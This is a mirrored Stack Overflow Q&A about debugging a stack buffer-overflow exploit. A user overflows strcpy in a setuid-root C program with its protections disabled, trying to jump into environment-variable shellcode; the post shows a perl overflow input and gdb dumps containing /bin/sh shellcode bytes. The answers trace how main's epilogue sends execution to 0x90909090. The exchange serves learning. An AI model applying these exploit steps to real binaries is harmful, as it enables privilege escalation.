Executing shellcode stored in environment variable using buffer overflow

我与影子孤独终老i 提交于 2019-12-06 13:47:08

问题


I'm using the code below to try to execute some shellcode stored in an environment variable by overflowing the searchstring variable so that the return address of main contains the address of the anvironment variable. However, I get a segmentation fault before the printf command.

#include <stdio.h>
#include <string.h>

void main(int argc, char *argv[]){

    char searchstring[100];

    if(argc > 1)
        strcpy(searchstring, argv[1]);
    else // otherwise
        searchstring[0] = 0;

    printf("Here");

}

I compile the code using

gcc -m32 -g -o overflow.o overflow.c -fno-stack-protector -z execstack

in order to disable the stack protector and make the stack executable. I also disable ASLR by modifying /proc/sys/kernel/randomize_va_space to contain a 0. I also change the owner and group to root:

sudo chown root:root overflow.o
sudo chmod u+s overflow.o

The environment variable contains a NOP sled before the shellcode, and I determined that the address 0xffffd910 is in the middle of the NOP sled. Therefore I run the program using

./overflow.o $(perl -e 'print "\x10\xd9\xff\xff"x40')

but see a segmentation fault.

Using gdb I set a breakpoint on main and then stepped through the instructions. The seg fault occurs before the printf command is reached, and examining the stack pointer and instruction pointer immediately after the seg fault I see that

(gdb) x/32x $esp
0xffffd910:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd920:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd930:     0x90909090      0x90909090      0xdb31c031      0xb099c931
0xffffd940:     0x6a80cda4      0x6851580b      0x68732f2f      0x69622f68
0xffffd950:     0x51e3896e      0x8953e289      0x0080cde1      0x4d524554
0xffffd960:     0x6574783d      0x53006d72      0x4c4c4548      0x69622f3d
0xffffd970:     0x61622f6e      0x58006873      0x4d5f4d44      0x47414e41
0xffffd980:     0x6d3d4445      0x6f687465      0x6c633d64      0x69737361

(gdb) x/x $eip  
0x90909090:     Cannot access memory at address 0x90909090

Examining the stack frame of main (found earlier to be at address 0xffffd460) confirms that the address 0xffffd910 has indeed been copied into searchstring:

(gdb) x/32x 0xffffd460
0xffffd460:     0xffffd49f      0xffffd49e      0xffffd590      0xffffd910
0xffffd470:     0xffffd910      0xffffd910      0xffffd910      0xffffd910
0xffffd480:     0xffffd910      0xffffd910      0xffffd910      0xffffd910
0xffffd490:     0xffffd910      0xffffd910      0xffffd910      0xffffd910
0xffffd4a0:     0xffffd910      0xffffd910      0xffffd910      0xffffd910
0xffffd4b0:     0xffffd910      0xffffd910      0xffffd910      0xffffd910
0xffffd4c0:     0xffffd910      0xffffd910      0xffffd910      0xffffd910
0xffffd4d0:     0xffffd910      0xffffd910      0xffffd910      0xffffd910

I don't understand why the stack pointer and instruction pointer jump to these locations even though main has not finished executing? Also, why does the instruction pointer jump to 0x90909090 rather than 0xffffd910? Is it this which is causing the segmentation fault, or is it some stack protection which i'm not aware of?

I realise that this is a contrived example, but I am just interested to know what is going on.

Thanks!


回答1:


After looking as the assembler code I have figured out what's happening. The last 3 lines of the code are

0x08048485 <+59>:    mov    ecx,DWORD PTR [ebp-0x4]
0x08048488 <+62>:    leave  
0x08048489 <+63>:    lea    esp,[ecx-0x4]
0x0804848c <+66>:    ret

Overflowing the searchstring variable causes the data at ebp-0x4 to be overwritten with an address midway through the NOP sled in the environment variable (0xffffd910). Therefore line 1 above leaves 0xffffd910 stored in ecx.

This means that in line 3 above, ecx-0x4 = 0xffffd910 - 0x4 = 0xffff90c, and this address is stored in esp. The data stored at this address is 0x90909090 (since we're still midway through the NOP sled). Finally, in the last line above, this data gets popped off the stack as the return address of main(), which is why we end up with eip=0x90909090, and the popping action means that esp gets moved back up to 0xffff90c + 0x4 = 0xffffd910.

My error all along was in assuming that the main() function behaves like any other with regards to return addresses. C has no notion of "return addresses" - these are implementation details - and using gcc-multilib 4.9.2-1 on my Arch Linux machine, this is how it is implemented.




回答2:


Is so strange that esp points to your shellcode. Is print "\x10\xd9\xff\xff" the address of the enviroment variable?

It causes segfault because when RET is executed it do POP %eip, but your %esp points to 0x90909090, but of course you cannot access this address.



来源:https://stackoverflow.com/questions/27583889/executing-shellcode-stored-in-environment-variable-using-buffer-overflow

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!